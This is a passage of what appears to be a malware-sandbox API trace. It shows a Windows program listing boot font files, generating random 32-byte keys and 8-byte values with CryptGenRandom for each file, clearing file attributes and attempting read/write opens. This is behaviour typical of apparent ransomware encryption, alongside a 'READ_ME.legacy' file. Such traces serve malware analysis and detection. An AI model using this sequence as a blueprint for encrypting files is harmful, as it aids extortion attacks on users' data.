dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0107.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0107.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0107.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0107.376] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0107.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0107.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0107.376] GetLastError () returned 0x5 [0107.376] SetLastError (dwErrCode=0x5) [0107.376] GetLastError () returned 0x5 [0107.376] SetLastError (dwErrCode=0x5) [0107.376] GetLastError () returned 0x5 [0107.376] SetLastError (dwErrCode=0x5) [0107.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0107.376] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0107.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0107.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.376] GetLastError () returned 0x5 [0107.376] SetLastError (dwErrCode=0x5) [0107.376] GetLastError () returned 0x5 [0107.376] SetLastError (dwErrCode=0x5) [0107.376] GetLastError () returned 0x5 [0107.376] SetLastError (dwErrCode=0x5) [0107.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0107.376] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0107.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0107.376] GetLastError () returned 0x5 [0107.376] SetLastError (dwErrCode=0x5) [0107.376] GetLastError () returned 0x5 [0107.376] SetLastError (dwErrCode=0x5) [0107.376] GetLastError () returned 0x5 [0107.377] SetLastError (dwErrCode=0x5) [0107.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0107.377] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0107.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0107.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.377] GetLastError () returned 0x5 [0107.377] SetLastError (dwErrCode=0x5) [0107.377] GetLastError () returned 0x5 [0107.377] SetLastError (dwErrCode=0x5) [0107.377] GetLastError () returned 0x5 [0107.377] SetLastError (dwErrCode=0x5) [0107.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0107.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0107.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.377] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b63b4a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b63b4a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.377] GetLastError () returned 0x5 [0107.377] SetLastError (dwErrCode=0x5) [0107.377] GetLastError () returned 0x5 [0107.377] SetLastError (dwErrCode=0x5) [0107.377] GetLastError () returned 0x5 [0107.377] SetLastError (dwErrCode=0x5) [0107.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.377] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0107.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.377] GetLastError () returned 0x5 [0107.377] SetLastError (dwErrCode=0x5) [0107.378] GetLastError () returned 0x5 [0107.378] SetLastError (dwErrCode=0x5) [0107.378] GetLastError () returned 0x5 [0107.378] SetLastError (dwErrCode=0x5) [0107.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0107.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0107.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.378] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0107.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.378] GetLastError () returned 0x5 [0107.378] SetLastError (dwErrCode=0x5) [0107.378] GetLastError () returned 0x5 [0107.378] SetLastError (dwErrCode=0x5) [0107.378] GetLastError () returned 0x5 [0107.378] SetLastError (dwErrCode=0x5) [0107.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0107.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0107.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0107.378] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0107.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0107.378] GetLastError () returned 0x5 [0107.378] SetLastError (dwErrCode=0x5) [0107.378] GetLastError () returned 0x5 [0107.378] SetLastError (dwErrCode=0x5) [0107.378] GetLastError () returned 0x5 [0107.378] SetLastError (dwErrCode=0x5) [0107.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0107.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0107.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.379] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0107.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0107.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0107.379] GetLastError () returned 0x5 [0107.379] SetLastError (dwErrCode=0x5) [0107.379] GetLastError () returned 0x5 [0107.379] SetLastError (dwErrCode=0x5) [0107.379] GetLastError () returned 0x5 [0107.379] SetLastError (dwErrCode=0x5) [0107.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0107.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0107.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0107.379] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0107.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0107.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581e60 [0107.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c12f8 [0107.379] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581e60 | out: pbBuffer=0x581e60) returned 1 [0107.379] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c12f8 | out: pbBuffer=0x5c12f8) returned 1 [0107.379] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\wgl4_boot.ttf", dwFileAttributes=0x80) returned 0 [0107.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0107.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0107.380] CreateFileW (lpFileName="\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0107.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0107.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0107.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5809c0 [0107.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c12a8 [0107.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5809c0 | out: pbBuffer=0x5809c0) returned 1 [0107.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c12a8 | out: pbBuffer=0x5c12a8) returned 1 [0107.381] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\segoe_slboot.ttf", dwFileAttributes=0x80) returned 0 [0107.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0107.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0107.381] CreateFileW (lpFileName="\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0107.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0107.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5807b0 [0107.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c11b8 [0107.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5807b0 | out: pbBuffer=0x5807b0) returned 1 [0107.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c11b8 | out: pbBuffer=0x5c11b8) returned 1 [0107.381] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\segoen_slboot.ttf", dwFileAttributes=0x80) returned 0 [0107.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0107.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0107.382] CreateFileW (lpFileName="\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0107.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0107.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580ff0 [0107.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1358 [0107.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580ff0 | out: pbBuffer=0x580ff0) returned 1 [0107.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1358 | out: pbBuffer=0x5c1358) returned 1 [0107.382] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\segmono_boot.ttf", dwFileAttributes=0x80) returned 0 [0107.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0107.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0107.382] CreateFileW (lpFileName="\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580ee8 [0107.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1248 [0107.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580ee8 | out: pbBuffer=0x580ee8) returned 1 [0107.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1248 | out: pbBuffer=0x5c1248) returned 1 [0107.383] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\msyh_boot.ttf", dwFileAttributes=0x80) returned 0 [0107.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0107.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0107.385] CreateFileW (lpFileName="\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0107.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581d58 [0107.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1338 [0107.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581d58 | out: pbBuffer=0x581d58) returned 1 [0107.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1338 | out: pbBuffer=0x5c1338) returned 1 [0107.385] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\msyhn_boot.ttf", dwFileAttributes=0x80) returned 0 [0107.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0107.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0107.385] CreateFileW (lpFileName="\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0107.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0107.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0107.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5808b8 [0107.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c12e8 [0107.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5808b8 | out: pbBuffer=0x5808b8) returned 1 [0107.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c12e8 | out: pbBuffer=0x5c12e8) returned 1 [0107.386] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\msjh_boot.ttf", dwFileAttributes=0x80) returned 0 [0107.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0107.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0107.386] CreateFileW (lpFileName="\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0107.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0107.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0107.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581938 [0107.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1278 [0107.387] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581938 | out: pbBuffer=0x581938) returned 1 [0107.387] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1278 | out: pbBuffer=0x5c1278) returned 1 [0107.387] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\msjhn_boot.ttf", dwFileAttributes=0x80) returned 0 [0107.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.391] CreateFileW (lpFileName="\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0107.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0107.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0107.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580390 [0107.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1318 [0107.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580390 | out: pbBuffer=0x580390) returned 1 [0107.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1318 | out: pbBuffer=0x5c1318) returned 1 [0107.392] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\meiryo_boot.ttf", dwFileAttributes=0x80) returned 0 [0108.336] RtlAllocateHeap 